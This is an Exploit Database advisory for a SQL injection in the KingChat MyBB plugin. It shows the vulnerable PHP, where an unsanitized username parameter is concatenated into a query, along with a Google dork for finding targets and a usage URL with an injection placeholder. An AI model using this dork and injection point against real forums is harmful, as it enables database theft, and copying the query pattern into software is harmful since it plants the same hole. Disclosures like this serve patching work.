MyBB KingChat Plugin – SQL Injection

• Exploit Database
• 13 阅读

• 作者： Red_Hat
  日期： 2012-12-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/23105/

• # Exploit Title: KingChat MyBB plugin SQL Injection 0day
  # Google Dork: inurl:"kingchat.php"
  # Date: 13.10.2012
  # Exploit Author: Red_Hat [NullSec]
  # Software Link: http://mods.mybb.com/view/kingchat
  # Tested on: Windows & Linux.
  
  Vulnerable code :
  
  <?php
  	$username=$_GET['username'];
  	$uid=$_GET['uid'];
  	$text=$_GET['text'];
  
  					$users=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE username='$username'");
  					$users_info=$db->fetch_array($users);
  					$users_num=$db->num_rows($users);
  					$fusername=$users_info['uid'];
  ?>
  
  The variable '$username' remains unsanitized.
  
  Usage : http://www.site.com/kingchat.php?send=Red_Hat&username=[SQLi]
  
  Shoutout to Zixem <3 & NullSec :3